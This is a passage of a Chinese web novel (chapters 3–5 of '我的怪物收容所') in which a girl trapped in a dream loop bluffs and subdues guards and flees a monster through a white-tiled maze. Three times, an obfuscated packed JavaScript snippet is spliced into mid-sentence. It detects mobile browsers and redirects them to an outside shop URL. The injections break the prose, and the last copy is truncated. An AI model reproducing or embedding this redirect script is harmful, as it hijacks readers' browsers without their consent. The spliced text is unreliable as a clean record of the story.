《我的怪物收容所》 3. 第三章 阳朵不知道这怪梦是什么来头,但她知道,这梦中世界的规则,还挺完善。 这所谓的“第九收容所”,显然是一个颇具规模的组织,人员众多、设施完备、注重安全。凡有人活动的区域,大多都装着用以观测的电子设备,且一旦检测到暴力行为,就会立刻触发警报,把其他人也招来…… 不要问她是怎么知道这事的。都是些令人恼火的经验之谈。 这也是为何她选择先将李晨光骗进房间再动手——虽然不知为什么,但睡觉的地方都是没有观测设备的。相对而言更方便。 熟练将门锁上,她面不改色地沿着走廊向外走去,路过自动贩卖机时,没忘再买两瓶罐装酒和一瓶水。 酒是自卫用的。那怪物不太喜欢酒的味道,接触后行动会出现短暂滞涩,这是她在第二和第三轮循环中摸出的经验。比较麻烦的是这地方有购买限制,一人只能买两罐。 水则是自己用的。这里的饼干香香的,就是太干巴,她有点担心自己被噎死。 将买好的东西揣进随身挎包,再往外走一段,就是走廊的尽头。 那里有扇敞开的白色大门。穿过门,则是一片空旷的椭圆形空间——印象里,这儿的人都管它叫中央大厅。 空间很大,起码能停十辆房车;整体呈现一种冷冰冰的金属质感,线条流畅的光洁墙面上,还嵌着好几扇门。 经过前几轮循环,阳朵对这地方的结构也已大致摸了个清楚: 大厅南边的白色大门,通往收容所的“工作区”。她曾经潜进去过一次,最大的印象就是人多,估计收容所一半的人都在那儿了;在深处的实验室里,还有好些被剖开的异形肢体。 西北边的白色门通往李晨光口中的“出口”,可惜是个假的;自己身后的地方则被称为“生活区”,感觉就是用来睡觉的地方,床铺软和得不可思议。 其余的门,大多也是白色的,分别通往仓储区、后勤区……阳朵也基本都去过。 唯一的例外,就是正东面。 那墙上只有一扇门,纯黑的门。永远紧闭,门后总是安安静静,最奇怪的是,按说这应该是很重要的地方,可只有它的周围,没有任何观测设备。 很怪。但对她来说倒是件好事。阳朵躲在阴影里,静静等着厅内仅有的几名工作人员走远,忙抓紧时间,快步靠近,将那张抢来的银色卡片,塞进了门锁下方的读卡器里。 不出所料,咔哒一声。门打开了。 阳朵松了口气,忙闪身进去。关好门一转头,看清面前景象的刹那,却又傻了眼。 只见眼前,是一个空荡荡的方形房间—— 地板和墙壁上刻着奇怪的纹样,表面折射出皮质的光泽;天花板上则做了一个向上凹进的圆形结构,填充的花纹层层叠叠,看着就让人犯晕。 角落里摆着一张有些破烂的木桌子,桌上摆着一个满是裂缝的破碗;碗的旁边,则是一台长方形的黑色设备。 ——类似的东西阳朵曾在书里见过,没记错的话,应该是叫收音机。 除此之外,空无一物。对面的墙壁上,则是另一扇纯黑色的门。 很显然,真正的收容区,还在更深处。 “……”这房间太怪了。阳朵迟疑着,莫名不是很想进去。 恰在此时,却听一阵咔咔声响——那安静放在桌上的破碗微微一抖,竟像是自己裂开了。 阳朵吓了一跳,不由望了过去。目光落下的刹那,却正见收音机上的旋钮自行转动,整台机器宛如苏醒一般,骤然发出一阵密集杂音—— “欢……加入……我们……等……你……” 模糊又尖锐的女声断断续续地冒出,却被滋滋的噪音覆盖,根本听不清在说什么。 又过片刻,那尖锐的女声渐渐停了。取而代之的,却是一阵嘎吱嘎吱的古怪声响,像是鞋子在潮湿的地板上重重摩擦,叫人听得一头雾水,又头皮发麻。 阳朵都有些被吓到了。想转身出去,又实在不想放弃眼前这个收集情报的机会;一咬牙,索性三步并两步直接穿过眼前房间,不再纠结,一把将手中卡片插入门锁之中—— 又是咔哒一声。这扇门也开了。 几乎是同一时间,那收音机也安静了。 阳朵:“……” 骤然而至的安静,反而叫人更觉不安。她犹疑地回头扫了一眼,终于下定决心,用力推开面前门板。 刺骨的凉意扑面而来。阳朵打了个寒颤,往里一看,登时睁圆了眼。 好暗——这是她的第一反应。 灯光幽暗,照着白色的走廊,像照着一片枯骨。 更令人诧异的是,走廊的两边,几乎每隔几步就能看到一个黑色的洞窟。又小又窄,大多只有一米多高,内里黑漆漆的,不见一丝光亮,外面拉着根黄黑交错的带子,每个洞口的上方,还有一个红色的编号。 编号是乱序的,基本都是三位数。阳朵沿着走廊小心往前,不多时便来到一处拐角。伸头一看,另一侧也是条一模一样的长廊,走道两边同样列满黑洞。 ……所以,这儿就是真正的收容区了吗? 她还以为这里会放满笼子来着。那那些负责加固的员工呢?现在又在哪儿? 阳朵不住冒出问号,脚步却丝毫不停,一边凝神听着周围动静,一边沿着走廊继续前行。 所幸,至少她的最后一个疑问,很快就得到了解答。 ——转过另一个拐角,眼前又是一条走廊。昏暗灯光下,赫然是两道陌生人影。 那是两个成年人,穿着统一的纯色工装,一男一女,一左一右,正好分站在一个黑洞两侧,洞中阴风恻恻,本该拦在洞口的黄黑带子落在地上,分明已被解开。 “谁?”敏锐捕捉到阳朵的身影,其中一人立刻转身,一边朗声质问,一边冲她举起了手里的麻醉枪。 阳朵脚步一停,很快有了主意,配合地站进灯光里,一面主动报上名字,一面缓缓朝二人走过去,手中高举着那张顺来的银色卡。 “我是研发部的阳朵。”她回答道,“是李……李晨光老师让我来的!” 别问她为什么要叫李晨光老师,她也不知道。反正之前几轮里别人都这么叫。 好在那两人敏锐归敏锐,却似乎不是太聪明,而且一看就和研发部不熟,不知道“阳朵”是个快要离职的有病实习生。 因此阳朵很顺利地走到了他们附近,将那张银色卡片递了过去。 “李晨光老师的实验有了重大发现,测算出这次加固任务有很大隐患,处理不当的话,会直接导致收容物出逃——所以他才让我来示警的。” 阳朵尽可能冷静地说着,偷偷在裤子上擦了下出汗的手掌。 她几乎没怎么和活人说过话,也就最近在梦里说得多了些;更别提对活人撒谎。虽说小时候也曾被养母带着做过一些假话真说的训练游戏,但真到胡诌的时候,还是免不了有些紧张。 ……虽然严格来说她只是在做梦,眼前这些也不算真正的“活人”。 “重大发现?”那俩看守人员却似有些被唬住了,蹙眉追问,“是什么?” 阳朵思索了下,反问:“李晨光老师有个保密项目,这你们知道吧?” 回应她的是两人迟疑的摇头。 保密项目,他们怎么会知道? ——不知道?那就对了。 阳朵暗松口气,张口就来:“那是一个预言设备,能预知未来的危险。刚刚我说的那些,都是试运行的时候设备给出的反馈……” 说完,念头一转,又试探地开口:“预言里出事的时间很近,不能再耽搁了。你们能联系上里面的人吗?或者直接进去找他们?” 她边说边看向两人身后的黑窟窿。 这个洞口上方的编号是“148”。 两个看守没有立刻应声,只又交换了几轮眼神。片刻后,方见其中一人掏出了手机。 “抱歉,事出突然。我得请示 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16916915|192516||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一下。”那女员工说着,给另一人递了个眼色,“你在这里看好。我出去打个电话就回来。” 说完,便快步往外走去。 阳朵一愣:“请示?” “嗯。保险起见么。”留下那人看着要更随和些,开口为她解释,“看守人员直接进洞属于违规操作,所以必须得先问过上面。真要出什么事的话,也可以由备用团队直接组织支援。” 还有一句,他没说——不过看同伴刚才那意思,明显是对阳朵的话还有疑心,打算先出去确认一下了。 “……”这么麻烦啊。 阳朵目送着离开的员工转过拐角,微微抿唇。 想了想,又转过头来,上下打量了一番留在自己身边的那个。 “你们行动组的人,看着比研发组的能干很多啊。”她忽然道。 那员工被她夸得一怔,忙客气地点点头:“话也不能这么说,各司其职罢了。” “那还是不一样的。”阳朵认真道,往那员工旁边靠了靠,“你们都看着好厉害啊。平时是会做什么特殊的训练吗?比如,和机器人对打之类的?” “哈?”那员工被这没头没脑的夸奖搞得有些莫名,听到最后一句,更是一头雾水,“不是,机器人这也太扯了,哪个傻子会这么干……” 话音未落,领口忽被用力一拽,紧跟着便是“砰”的一声—— 他不可思议地低头,正见阳朵的右膝高抬,用力抵着自己的腹部。 “我就会啊。”阳朵淡淡应了一句,反手将男人拔枪的手臂扳到身后,顺势又补了一击手刀。 男人的身躯缓缓栽下,跌落时勾到阳朵的挎包,连带着几包饼干也砰砰落地。 紧跟着又是一阵几不可查的微弱脚步。明显是离开的那人也听到了这边的动静,正在急速折返。 阳朵神色不动,拿出从李晨光那儿顺来的麻醉枪,在心里默默数了几秒,数完对着走廊尽头就是一下。闯入视线的人影应声倒地。 可以,搞定。 确实比研发组要厉害点,但也没太多。大概相当于三个李晨光吧。 阳朵在心里默默做出评价,如释重负地将枪收起。 转头看向那个黑漆漆的洞口,神情复又凝重。 事已至此,她大概也猜出来了:这遍布走廊的黑色窟窿,估计就是和“笼子”差不多的东西,亦或是通往“笼子”的入口。那些被收容的怪物,就被关在这种黑洞里。 而从“加固人员需要进去进行操作”这一事实来看,那洞里应当还有另外的束缚设备。这次出问题的,大概率就是那些东西。 就是不知那些人现在是死了还是怎样……但无论如何,来都来了,里面的情报,总要设法多收集些。 嗯,手边的资源当然也不能放过。还是那句话,来都来了。 阳朵目光前后一扫,为节约时间,就没管倒在走廊另一头的女员工,直接在男人旁边蹲下身,仔细在他外套口袋里摸了起来。 有用的东西却没多少。除了李晨光同款麻醉枪之外,就只摸到几支从未见过的针剂。 针剂都是密封起来的,隔着透明密封袋,可以看到装满针筒的粉色液体。除此之外没任何标识,也搞不清是做什么用的。 阳朵因此没有多拿,就抽了两支,小心收起,又在他裤子口袋里翻了翻,找到一张叠起的纸。 “148号……虫球……哦,原来它叫这个啊。”草草扫了眼纸上内容,她恍然大悟地颔首,顿了顿,又不解歪头。 这名字倒是不错,听着很好吃;印象里那东西,躯体细长还会蠕动,要说像虫也确实没错。 但……球? 它像吗?? 不是很理解,不过也不重要。阳朵没多纠结,只再次俯身,按那纸张的指示,从男人身上又找了些看着能用的东西;又把掉地上的饼干全部捡回包里,珍惜揣好。 这才蹑手蹑脚地后退,宛如幽灵一般,彻底没入那黑色的洞窟之中。 4.第四章 【名称:凉山北虫球 【编号:9-148 【风险评级:黑-C 【收容地点:X市凉山北路体育中心 【收容方式:详见《凉山北路体育馆乒乓球杀人事件报告》 【收容工具:[***] 【加固方案: 【148具有基本的异常本能,不具备强思维能力。推荐使用对应针对性加固方案,具体如下: 【1. 正常情况下,148应被束缚于指定收容空间内,加固也应在对应空间内进行。 【2. 进行加固时,执行者应携带至少一副正反异色乒乓球拍,并全程以标准手势持握。 【3. 进入空间内部后,执行者应优先将随行的观测人员送到安全点位,再以安全点位为起点,进行均速步行。成功绕行收容空间一周并顺利回到安全点位,且安全指示灯变为黄色,即视为加固成功。 【4. 加固时无固定线路,执行者可随机选择行进方向。前行时须密切注意球拍状态,若球拍出现正反同色、正反换色或染色等状况,应立即后退至前一个空间内,耐心等待至球拍颜色复原,再选择其它方向行进。后退时务必保持冷静,切忌面露慌张、奔跑喊叫。 【5. 若球拍颜色超过五分钟仍未复原,执行者应立即停止行动并联系观测者,在其指导下按原路返回至安全点位。 【6. 若出现无法联系观测者或其它意外状况,执行者应立即停止行动,并将球拍持有者安排至队伍前方。球拍持有者须及时做出击打乒乓球的姿势,以正反拍交替的方式不断击打面前空气,直至球拍恢复原本颜色。确认球拍恢复正常状态后,方可联系观测者返回安全点位。 【7. 若第一轮加固行动失败,第二轮加固应于至少二十分钟后开启。开始时应确认所有执行人员精神状态良好,无幻听幻视、惶恐不安、过分亢奋等症状。 【8. 加固完成后,所有参与人员方可组织撤离,回归对应层级。 【备注: 【1.加固须在该收容物出现明显骚动时进行。除此之外,行动组应秉持不注视、不轻视、不无视的监测原则。 【2.乒乓球拍无具体品牌要求。但根据过往经验,有明显使用痕迹的球拍效果更佳。 【3.推荐人数4至5人。执行人数控制在2至3人最佳,此外需配备至少两名实时观测人员。观测人员的装备配置应满足《收容机构加固观测通用执行标准》最底要求。 【4.加固完成前,参与人员应尽量避免4人及以上同时行动。若参与人员中存在[河狸]分类的[装配者],该条建议可无视。 【5.为降低风险,参与人员中应有至少两名[装配者],且其中至少一人为[狮鹫]……】 ——以上,便是阳朵找到的那张纸上的主要内容。 再后面还有一些手写字。字迹各不相同,看上去像是不同人的签名。 ……坦白讲,能读,但读得不是太明白。 字儿阳朵倒是都认得。毕竟这地方的文字本来就和旧世界的差不多,养母都教过,而且她在地堡时最喜欢的就是翻看那些旧世界的书;可这当这些字全部连在一起,反而叫人稀里糊涂。 什么观测者执行者乒乓球河狸狮鹫……体育馆又是什么?吃饭的地方吗?“体育”是某种菜的名字?? 同样的,阳朵也不知所谓的“乒乓球拍”到底长什么样,只能凭着猜测从昏倒的男人身上找了个自己觉得像的东西;而在揣着那玩意儿小心钻过洞口之后,眼前的场景,更是让她一阵迷茫。 ——只见洞口的另一侧,赫然又是一个空荡荡的房间。 和之前不同的是,这个房间是白的,还是那种很晃眼的白。墙壁、地面、天花板,都贴着一模一样的细密光滑白砖,再加上顶上那明亮到刺目的惨白灯光,整个空间白得仿佛长满了假牙。 墙壁有些潮湿,地面的缝隙里存着些积水,看着很滑;除此之外,空无一物,更没一个人。 ……也正因如此,阳朵在刚看到这房间时,心还漏跳了一下,第一反应就是那怪物已经跑了;再一细看,方松了口气。 这房间本就不是密闭的。左右两边的墙壁上,各开着一扇门。没有门扉,透过门框,可以直接看到隔壁相邻的空间。 眼前的房间,看来只是这偌大“笼子”的一部分而已。 就是不知道这地方到底有多大,真正用来关押怪物的核心位在哪儿,那些负责加固的人又在哪儿…… 阳朵思忖片刻,决定还是先自己探索看看。 默默抓紧手中“球拍”,她没有急着行动,而是先后走到左右的门框处,小心朝外望了望。 左边门连接的是另一个白色的房间,只是面积更大,中间还立着一根四方柱子,很挡视线:右边门则连着一条同样铺满白砖的宽敞通道,走廊的尽头,是另一扇门。 两边的门后,也都一片寂静。不像有人的样子。 凭着直觉,阳朵优先选择了左边的房间。绕过那根巨大的立柱后,眼前却又出现了左右两扇门——左边是一个稍小的白色房间,墙壁上挂着三幅风景画;右边则又是一条宽敞的通道。墙壁和地面上依旧贴满白砖,积水弥漫。 微微拧眉,这一回,她尝试选择了右边的门。沿着那条通道一路往前,推开尽头的门后,出现在眼前的,却是和第一个房间一模一样的空间: 同样的纯白、空荡。房间内空无一物,左右各开一扇门。 再一看两扇门后,果不其然,又是和之前完全一样的布置。 所以,这个所谓的收容空间,用来关押怪物的“笼子”……本质就是个迷宫? 试探着又穿过了两扇门,阳朵望着面前不知第几次出现在自己眼前的四方水泥柱,终于彻底确认了这点。 普通的空房间、挂有图画的空房间、有水泥柱的空房间、通往随机空房间的通道。这里一共就这四种空间,仿佛四种拼图的碎片,被以不同方式组合在一起,一间连着一间,循环往复,永无尽头。 要只这样也就算了。更糟的是,这地方显然是有什么特殊设置的,明明地上有水,却留不下任何脚印,墙上也无法留下任何刻痕…… 叫人连自己是不是在原地打转都不知道。 这可有些麻烦了啊…… 不知第几次停下脚步看向周围,阳朵一面拧眉思索,一面顺手从包里掏出一根鳕鱼棒,直接用牙撕开包装,默默咬了下去。 这已经是最后一根鳕鱼棒了。其余的早在之前探索的时候就已吃完,出于习惯,吃剩的包装壳都被她好好揣在了口袋里。因为攒得又有点多,这种壳子又有点硬,被挤到的时候,还会很轻地啪啪作响。 阳朵的想法很简单,人可以迷茫,但嘴决不能闲着。横竖一时半会儿死不掉,能吃一口是一口,不然太浪费了。 嗯……回到找人的问题。先乐观一点,假设那些加固人员还没死好了。那理论上,他们应该正按照那张纸上的安排进行加固,在这个空间内行走…… 也就是说,只要运气好,他们还是有概率直接碰上的。至于这概率有多大,这就不好说了。 那——或许可以换个思路? 阳朵垂眼,顺手将刚吃完的包装壳塞进口袋,跟着又摸出一包压缩饼干,一边小口小口地啃着,一边跨出门框,径自走进下一个房间。 从那纸上内容来看,进来的人其实应该有两组。一组是负责拿着“球拍”走路,也就是“执行者”;另一组则是待在固定位置提供援助的,被称为“观测者”。 “观测者”的处境更安全,携带有特定的观察仪器,还能在执行者迷路时为他们指引方向……从这种种描述中不难看出,这些“观测者”能够从更宏观的方面掌握和监测空间里的状况,就像收容所里那些被叫做“监控”的设备一样。 要真是这样的话,那他们可能早就注意到自己的存在了?如果自己能通过某些方式发出明确信号,或许就能直接向他们传达来意…… 思及此处,阳朵步子一顿。 手里的饼干已被啃掉一半。她抬眼看向四周,视线扫过上方空荡荡的天花板,想了想,还是把没吃完的饼干收了起来,转而又掏出那张来自李晨光的银色卡片。 “我是研发部的员工,是李晨光老师派来的。”她对着空气小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16920667|192516||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声道,“我有很重要的事和你们说。” 说完,屏息凝神。 等了片刻,周围却没有任何变化。 好吧,看来这法子行不通。 阳朵遗憾地将卡片收回,掏出饼干继续啃。 方才的那些话,也不知对方是根本听不到,还是因为她声音太小而没听清。但无论如何,阳朵都不打算再次尝试了——她很不习惯大声说话,而且也不敢闹出太大动静,万一真把怪物招来,就得不偿失了。 不依靠声音的话……或许也可以通过其它的媒介?设法留下些讯息,来吸引他们注意…… 那新的问题又来了。用什么媒介? 阳朵眨了眨眼,视线向下,落到自己啃了大半的饼干上。 下一秒,又毫不犹豫地移开。 饼干不行。它不能用。不可以这么对待食物。 其它材料的话……食物包装?好像可以。但要摆哪儿?地上吗? 暂时也没别的选择。阳朵索性就这么原地蹲下去,开始思考该怎样用有限的包装壳摆出信息量最大的造型。 对着布满积水的地板看了半天,却没什么思路,视线无意间扫过左手一直捏着的“球拍”,却蓦地凝住。 紧跟着,便见她缓缓起身,看看球拍又看看地上的水,神情渐渐凝重。 这个所谓的“球拍”,是她从那看守员工外套的内侧口袋里找到的。比她手掌短两个指节,塑料制地,薄薄一片,顶部穿着一根挂绳;主体部分是一个画出来的人类女性形象,五颜六色的,没有上色的部分,则保持着塑料自带的透明感,光滑到发亮。 ——而正是这些光滑到发亮的部分,在她刚才即将起身的刹那,映出了下方地板的倒影。 当然,映得不是很清楚,也很吃角度。动一下就看不到了。 不过那短短一瞬里,阳朵还是一下觉出了几分不对: 眼前的地板纯白、干净,连积水都是清澈的; 可那“球拍”映出的模糊倒影里,却分明带着几分灰黑。 ……什么情况? 阳朵抿紧唇角,保险起见,先把未吃完的饼干再塞回包里;想了想,又将一直随身带着的、那个叫“手机”的设备给拿了出来。 这东西和身份卡一样,是她每次入梦时都能轻易找到的道具。不同的是,之前的循环里,为了避免她的“上司”过来找她麻烦,耽误吃饭,阳朵都会选择直接把它砸烂或是关掉。直到这轮,为了看时间,才会时刻开机带在身边。 手机这会儿正处在休眠状态,暗下的屏幕宛如一面黑色的镜子,清晰映出她略显紧绷的脸。 阳朵伸手,将手中的“镜子”慢慢倾斜下去。光滑的屏幕上,果然映出了与眼前所见截然不同的景象—— 白色的地面上,赫然是两排深色的脚印。 “……” 镜像里倒映出原本看不见的东西。饶是早有心理准备,阳朵握着手机的手,仍不由紧了一紧。 ——然而再一细看,心头却浮上些困惑。紧接着,又见她再度靠近、蹲下,对着那地上的脚印研究片刻…… 面上彻底放松下来。 “什么啊。自己吓自己。”阳朵心里嘀咕着,一时竟觉得有点好笑—— 这脚印是从门口一路延伸过来的,正好停在自己脚下,脚尖方向也和自己的朝向一致。再结合大小尺寸,怎么看都只是自己的脚印。 原来如此。她说呢,怎么在这地方总也留不下痕迹。原来以这种形式藏住了…… 虽不明白这到底是个什么机制,但好歹顺利解惑,还顺带有了新发现。阳朵也终于稍稍放心,再次站起了身。 动作间又往手机屏幕上一扫,要拿食物的手却微微一顿。 紧跟着,便见她拧眉、屏息,将屏幕往上转了转。 盯着看了一眼,眉头却又放松。表情变化与之前发现错认脚印时几乎如出一辙。 跟着一脸平静地将手机收起,转而拿出一罐酒,拉开拉环,握在指间。 旋即转身,踩着积水,一步一步走回了自己来时的那道门。 并在跨出门的下一秒,毫不犹豫,拔腿狂奔。 5.第五章 根据那张顺来的纸上的说法,在这鬼地方,“球拍”理应是能起到预示作用的。 球拍变色,意味着出现异常。出现异常,就要后退到前一个房间里,再视情况决定是否撤退。 而阳朵,她不知道为什么自己手中的“球拍”一直没有变色,目前看来大概率是拿错了;但她非常清楚另一件事: 那就是当你透过镜像,看到本该空无一物的天花板上,实际趴着一团瘦高的、手脚细长如昆虫的人型灰影时—— 这种现象,绝对算得上异常。 所以没有丝毫犹豫,阳朵当时就按那纸上所说,尽可能“冷静地后退”了。 只是比较尴尬,她手上的“球拍”显然并不会变色,所以她也无法确定自己要在那个房间里待多久——因此,保险起见,她在退出存在异常的房间后,果断选择了跑路。 事实证明,她的判断并没有错,因为刚跑出没多久,她的身后,便猛地多出了一个声音—— 听着像是脚步声,却比人类的步子更沉重,一下一下,重重踩过地上的积水,发出响亮的嘎吱嘎吱声,明显正朝她的方向飞速逼近…… 那东西、那个她透过手机屏幕看到的东西,追过来了! 阳朵呼吸一紧,不顾得再隐藏动静,几乎全速朝前冲去。然而身后那东西明显比她更快,不过片刻,便已近在咫尺! 阳朵一咬牙,目光扫向手中的酒。 根据以往经验,这玩意儿比麻醉枪靠谱。然而她现在一共只有两罐,扔完就没了,她也没法确定身后正在追击她的怪物,和杀了她好几轮的那个是同一种…… 赌一把吗?还是再想想办法? 耳听着那扎耳的嘎吱声响越来越近,阳朵念头飞转。 直接扔酒罐还是太奢侈了,泼洒的力道和准度又太难把握……下定决心般深吸口气,阳朵探手进袋,摸出了一个吃剩的鳕鱼棒包装壳,撑开开口,斜过酒罐就往里倒。 壳子很硬,勉强能当个容器。只是开口不大,更别提她本身还在剧烈跑动中,纵使阳朵一向自负手稳,也洒了不少在外面,浓烈的气味瞬间弥漫。 似乎是被这气味影响,身后脚步竟突然放缓了些,这让阳朵心口稍稍一松。下一瞬,便见她脚步不停,猛然转身,对准那几乎已贴到脚跟的巨大灰影,将手中灌了小半的包装壳用力往前一扔! “啪”的一声,包装壳撞上那瘦长的身躯,像是撞上了一堵墙,灌入的酒液尽数洒在了那灰影上。 这一击的威力明显比单纯的气味要猛上许多,那怪物脚步一停,居然就那么僵在了原地。 阳朵也没想到这一下效果有这么好,忙转身继续超前奔去,没忘腾出手来再掏出个包装壳,抽空制作起第二颗“酒水炸弹”来——根据经验,那些酒怕是拖不了怪物太久。 事实也确实如此。 没过多久,沉重脚步声又再次逼近。 所幸阳朵手中第二颗“酒水炸弹”已经准备完毕,等对方一靠近就丢了出去,成功又拉开一段距离;然而还没等手上的第三颗“炸弹”准备好,嘎吱嘎吱的脚步声便又响起。 如此反复,不知拉扯过多少个房间。感受着手中越来越轻的易拉罐,阳朵心脏再次拧紧。 果酒倒是还有一罐。然而包装壳是真就剩一个了。再这样下去,被追上也是迟早的事。 要这样的话、要这样的话…… 算了,要真这样的话也没办法。反正这一回失败最多也就伤口恶化,干脆直接等下一轮好了。 阳朵自我开解般想着,脚步却是丝毫没停。再次跨进新的房间,二话不说,便直接奔向立在中央的四方柱子。 她刚往那怪物的身上砸过一个“炸弹”,对方暂时还没恢复行动能力,目前差她两个房间;这柱子本身又是个不错的掩体,如果利用得当,或许她死前还来得及再吃半块压缩饼干…… 阳朵暗自盘算着,一手已经伸进了包里。 谁想就在此时,一只胳膊突然从柱后伸出,闪电般钳住她的手腕,猛地往旁边一拽! 阳朵:! 几乎同一时间,身后空间传来隆隆声响,听得人又是浑身一震,来不及细想,阳朵直接就将手里的果酒狠狠泼了出去—— 等到察觉情况不对时,再想收手却已来不及了。 恰逢同一时间,隆隆的声响停下。周遭归于寂静。 也因此,酒液哗啦一下浇在皮肤上的声音格外分明。 “……”面前的人明显被浇懵了,抓着阳朵的五指缓缓松开,转而摸向自己被淋湿的头发。俊朗的面庞上,是一种带着震惊的迷茫。 “…………”他迷茫,阳朵也没好到哪儿去。 谨慎地与对方拉开距离,她抽空往后面看了眼,这才发现立柱的另一侧,不知怎么竟凭空多出一面纯白墙壁,突兀地横在房间之中,将本就不宽敞的空间分成两半。 也成功将那追在她身后的怪物拦在了外面。 ——这下,再怎么迷茫也该看懂了。 方才的隆隆声就是来自这面多出的墙壁……她应该是被眼前这家伙给帮了一把。 被这个,嗯……发色很特别的陌生男人…… 视线不受控制地扫过对方被打湿的绿色头发,阳朵强迫自己收回目光,又回忆了下之前循环中观察到的人际交往范例,迟疑两秒,方不太熟练地开口:“呃,抱歉?” “啊?哦,没事没事,只是我还是第一次被人泼酒,不太习惯……” 那绿发男人连忙开口,边说边用手抹脸:“就,怎么说呢——朋友,我是不太理解你为什么要带着酒进收容区啦,但如果可以,我建议你下次还是带白桃味儿的,那个好喝。香精味没这么重。” 男人说着,用力擦了下脸颊,一本正经地冲着阳朵竖起两个手指:“这是第一个建议哈。” 阳朵:“……” 没有被男人玩笑般的语气迷惑,她默默将手探向腰间,隔着衣服摸上麻醉枪的枪柄。 “那第二个建议呢?”她问道。 绿发男人看似好脾气地笑了下,冲她做了个稍安勿躁的手势:“这第二呢,就是请不要在行动组做加固的时候随便闯进来。这真的超危险—— “如果不幸被抓,也请配合调查。我们会很感激的,真的。” 阳朵:“……” 我们? 像是意识到什么,按在枪柄上的手缓缓松开。 与此同时,仿佛呼应一般,前后又有脚步声响起。 阳朵循声望去,正见两边门后各有一道身影缓步而出。每道身影都配着一把对准她的麻醉枪。 恰好拦住两头去路。 * 眼前三人,都穿着和外面看守同款的工装。很显然,他们就是阳朵一直在找的加固者。 除去旁边的男人外,另外两名都是女性: 左边的那个体型略胖,背着个巨大双肩包,戴着眼镜,头上是一顶黄色帽子,帽子上面还支着一根细细的天线;右边的个头则要高很多,除了统一的工装外,还戴着双黑色手套,一手拿着麻醉枪,另一只手上则拿着个……嗯? 打量一番对方手里那正反异色圆形带柄的物件,阳朵垂眼,若无其事地将自己包里露出小半的“球拍”给按了下去。 该死的,她就知道自己拿错了! 几乎同时,那高个女子也开口了,音色沙哑:“行了,大白,时间有限,别抖机灵了。” 说完,又朝阳朵抬了抬下巴: “至于你,给个解释吧。这样大费周章地进来,是要做什么?” 阳朵:“……” 直觉告诉她眼前这人并不好糊弄。迟疑了一下,她还是又把李晨光的银卡拿了出来。 “是李晨光老师让我来示警的。”她沉声道,“他做了一个预言设备……” 她将之前忽悠俩看守的话又搬出来用了一遍,但就像她所预料的那样,眼前的女人像是根本不吃这套。 非但不吃,似乎还觉得很好笑。从阳朵提到“预言设备”起就一直弯着唇角,在她说完后,更是直接笑出了声。 “预言设备啊,听着好厉害。”对方脸上笑意未消,上下打量她一番,手中麻醉枪依旧稳稳抬着,“所以,原理是什么呢?” “?”阳朵一怔,“什么?” “我说,那个设备的原理。”女人笑吟吟地重复一遍,看着像是在开玩笑,眼里却是毫不掩饰的戒备,“实不相瞒,我之前也研究过类似的玩意儿。可惜才疏学浅,一直没有头绪。听你这么一说,实在有点好奇。” 阳朵:“……” 坏了。撞到这人擅长的领域了。 阳朵沉默了。眸光微微闪动着,眼睑垂了下去。 女人对此似是毫不意外,无所谓地笑笑,给另外两人使了个眼色,手指已经按在了麻醉枪的扳机上。 却听阳朵忽然开口:“研发部有在用一些怪物的肢体做实验……” 她抬起头,语气认真:“这事你们知道吧?” “……?”这下轮到女人沉默了。思索了一下才道:“知道,怎么了?” 知道?知道就对了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16928150|192516||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 阳朵再次发问:“那——拥有预测能力的怪物大致可分两种,一种是通过超凡感知来进行预判,另一种则是通过特殊的器官或是细胞,这个你们应该也知道吧?” 这话一出,面前的绿发男人,以及左边戴眼镜的女子都茫然了。 只有那手套女子的眼眸轻轻转动着,像是在思考,又像是在观察阳朵。 “那又怎样?”按在扳机上的手指松开,她问道。 “那——只要处理得当,就能将这些器官完整取出。在此基础上进行加工,就可以使它成为一个能被直接安装在机械上的具有生物性质的独立功能模块……这个你们想必也知道了?” “……”这一回,对面的女人没有再点头了。 又过一会儿,才见她缓缓点头。 “这种思路确实有人提出过。”她道,“可取出的器官往往很难保持活性。” “有些寄生物以新鲜尸体为居所,为保证生活环境,会在寄生时分泌一些特殊物质来帮助尸体保鲜保活,有的甚至能让尸体维持一定程度的生理活动。” 阳朵不假思索,“如果能提取出这种物质,理论上就可以让取出的器官继续运作……” 她说到这儿,顿了下,又摇摇头: “当然,再多的我也不清楚了。毕竟我只是来示警的。” …… 话音落下,四周一片安静。 不知过多久,才听绿发男人很是赞叹地哦豁了一声。 “话说前面,我是个文盲。”他由衷道,“但我觉得你说的这些非常酷。” 阳朵:“……” 那又怎样。你说了又不算。 她没有搭理旁边的男人,只认真看向那戴着手套的女子——很明显,三人里,她才是说了算的那个。 